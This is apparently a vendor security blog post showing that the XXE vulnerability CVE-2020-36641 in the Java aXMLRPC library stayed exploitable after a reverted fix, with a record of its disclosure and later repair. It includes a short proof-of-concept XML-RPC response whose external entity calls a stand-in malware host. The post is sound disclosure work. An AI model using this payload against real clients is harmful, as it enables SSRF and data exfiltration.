Why the supposedly fixed CVE-2020-36641 vulnerability is still exploitable—And what to do about it

Multiple sources claim that the vulnerability CVE-2020-36641 was fixed, and to mitigate this vulnerability, users should upgrade to aXMLRPC version 1.12.1 or higher. However, Dynatrace security researchers found out that vulnerability CVE-2020-36641 was not fixed, and aXMLRPC versions 1.12.1 and higher are still exploitable.

Update on CVE-2020-36641

After we discussed our findings with the developers of aXMLRPC, they released version 1.14.0, which fixes CVE-2020-36641. Our security researchers evaluated this new version and were no longer able to exploit the vulnerability described in CVE-2020-36641 in aXMLRPC version 1.14.0.

In May 2023 the critical vulnerability CVE-2020-36641 in the Java library aXMLRPC was published in the National Vulnerability Database (NVD). aXMLRPC is a lightweight client XML-RPC client enabling users to make remote procedure calls over the HTTP protocol in an XML format. Exploiting the vulnerability leads to CWE-611, enabling attackers to reference external XML entities.

Multiple sources, such as NVD, GitHub Security Advisories, or VulnDB claim that CVE-2020-36641 was fixed, and to mitigate this vulnerability, users should upgrade to aXMLRPC version 1.12.1 or higher.

However, Dynatrace security researchers found out that vulnerability CVE-2020-36641 was not fixed as claimed and aXMLRPC versions 1.12.1 and higher are still exploitable as we will demonstrate.

XML external entity (XXE) exploit

The aXMLRPC library allows its users to connect to a server and perform RPC calls using the XML-RPC protocol over HTTP. With this protocol, the RPC requests and responses are encoded in XML. aXMLRPC uses javax.xml.parsers.DocumentBuilder as XML parser for the responses, which is vulnerable to XML external entity (XXE) inclusion attacks by default.

In the following two scenarios, the aXMLRPC library is the client in the XML-RPC context and therefore the one initiating the call. In a successful exploit of this vulnerability, the vulnerable client sends a call to a server which that returns an XML response containing a URI to an external server that the attacker wants to initiate a call to, as shown in Figure 1. A possibility to make this exploit successful is a man-in-the-middle attack that intercepts the connection to a legitimate server.

Another scenario for this exploit would be to trick a client to connect to an attacker-controlled server. Figure 2 shows such an example where the XML response from the server contains a pointer to read the contents of a local file on the client’s machine.

Any request made by the client to this attacker-controlled server using the following call method then allows the attacker to perform XXE attacks:

XMLRPCClient client = new XMLRPCClient(new URL("<attacker-controlled-server>")); 
client.call("<any-method>", ...params);

To replicate this behavior in our lab, we connected the aXMLRPC client to our own webserver, which replies on the RPC endpoint with a static XML-RPC response, as shown in the example in Figure 1. In the XML payload below, the methodResponse part of the XML-RPC protocol is unaffected by the external entity inclusion. This can be helpful in scenarios where the attacker has access to the original server response (for example, in MitM scenarios), as this allows attackers to insert the malicious payload without modifying the data that is processed by the attacked application after parsing the response.

<?xml version="1.0"?> 
<!DOCTYPE foo [<!ENTITY % xxe SYSTEM "http://malware-server.com/malware”> %xxe;]> 
<methodResponse> 
    <params> 
        <param> 
           <value><string>anything</string></value> 
        </param> 
    </params> 
</methodResponse>

In the payload response in our experiment, we used the XML external entity to send an HTTP request to an external server when executed by the XML parser library. Different XXE payloads might allow executing attacks, such as out-of-band data exfiltration, server-side-request-forgery (SSRF), or creating temporary files. To what extent attacks are possible depends on the Java version and other environmental factors.

This PoC has been validated for versions 1.12.1 and 1.13.0, which are both listed as not vulnerable in CVE-2020-36641.

Why is the CVE-2020-36641 vulnerability not fixed?

The listing for CVE-2020-36641 in NVD shows a link to GitHub commit ad6615b, where the vulnerability was fixed. Specifically, the linked commit adds the code lines shown in Figure 3 to prevent exploiting of CVE-2020-36641 in aXMLRPC.

Following the discussions in GitHub issues #108 and #109, users were experiencing problems after the update from commit ad6615b. Considering the commit history as shown in Figure 4, a day after the initial fix, the developer reverted the changes in commit 1532363, as shown in Figure 5, to fix the issues of #108 and #109 until a better solution could be found.

As far as we can see from the commit history of the ResponseParser.java file, the file has not been changed again since commit 1532363.

Therefore, we can conclude that CVE-2020-36641 is actually not fixed and is still exploitable in the wild. Other projects, such as OpenEMS or the Gravatar Java client that use aXMLRPC as dependencies could therefore be vulnerable, despite using a version higher than 1.12.0.

Reporting this incident

We contacted the repository owner of aXMLRPC and made them aware of our finding. They agreed to contact NVD to report an updated list of package versions affected by CVE-2020-36641.

Security needs better threat-intelligence

This issue illustrates a fundamental challenge. Given the ever-increasing number of vulnerabilities and the vast amount of software releases that are affected by them, keeping accurate track of what needs attention is hard. In the case of CVE-2020-36641, a critical vulnerability in supposedly fixed versions would have been missed. Cases like this may lead to large attack campaigns and cyber-security threats causing significant damage. The same is true if versions of software components are reported as vulnerable, although they are not. Such false alarms can distract teams and cost significant amounts of resources.

Customers of Dynatrace Application Security are protected from cases such as CVE-2020-36641 since the findings of the Dynatrace security research team are directly integrated into our product platform. Dynatrace is committed to keeping our customers secure and continuously update our analysis engines with high-accuracy data.